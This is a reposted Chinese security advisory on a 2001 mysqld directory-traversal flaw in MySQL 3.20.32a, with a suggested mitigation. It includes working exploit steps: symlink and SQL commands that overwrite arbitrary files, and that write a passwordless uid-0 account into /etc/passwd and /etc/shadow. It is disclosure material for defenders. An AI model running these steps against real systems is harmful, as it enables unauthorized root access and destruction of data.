[ 永遠的UNIX::UNIX技術資料的寶庫 ]   GB | BIG5

首頁 > 安全技術 > 數據庫 > 正文
mysqld庫文件創建漏洞
http://www.nsfocus.com/ (2001-05-21 09:04:00)

受影響的系統: 
mysql-3.20.32a,其它版本可能也存在此問題 
描述: 
-------------------------------------------------------------------------------- 


任何可以用合法的使用者名和密碼登錄進mysql的使用者都可以利用mysqld來發起拒絕服 
務攻擊或者獲得root權限,因為mysql視“../blah-blah”為合法的資料庫名。其每 
張表格是用3個文件表示的:tablename.ISD,tablename.ISM和tablename.frm, 
但是mysqld在檢查表格存在與否的時候僅僅檢查tablename.frm。 

<* 來源:Pavlov, Lesha (lesha@nn.ru) *> 


測試程序: 
-------------------------------------------------------------------------------- 

警 告 

以下程序(方法)可能帶有攻擊性,僅供安全研究與教學之用。使用者風險自負! 



1、通過mysqld覆蓋任意文件從而導致拒絕服務: 
$ cd /var/tmp 
$ ln -s /some/file/you/wish/to/owerwrite qqq.ISD 
$ mysql -u user -h localhost -p somepassword '../../tmp' 
create table qqq(www int); 
\q 

上述例子將覆蓋/some/file/you/wish/to/overwrite。 

2、通過mysqld獲得root權限: 
$ cd /var/tmp 
$ ln -s /etc/passwd gotcha.ISD 
$ ln -s /etc/shadow make_me_r00t.ISD 
$ mysql -u user -h localhost -p somepassword '../../tmp' 
create table gotcha(qqq varchar(255)); 
create table make_me_r00t(qqq varchar(255)); 
insert into gotcha values('\
r00t::0:0:Hacked_Fucked_R00T:/:/bin/sh\
'); 
insert into make_me_r00t values('\
r00t::1:0:99999:7:-1:-1:\
'); 
\q 



-------------------------------------------------------------------------------- 
建議: 

臨時解決辦法: 

NSFOCUS建議您將mysql資料庫文件的屬主改為普通使用者,並以該普通使用者的身份運行mysqld。 

廠商補丁: 

暫無。 



(http://www.fanqiang.com)
    進入【UNIX論壇

相關文章

======
 

★  樊強制作 歡迎分享  ★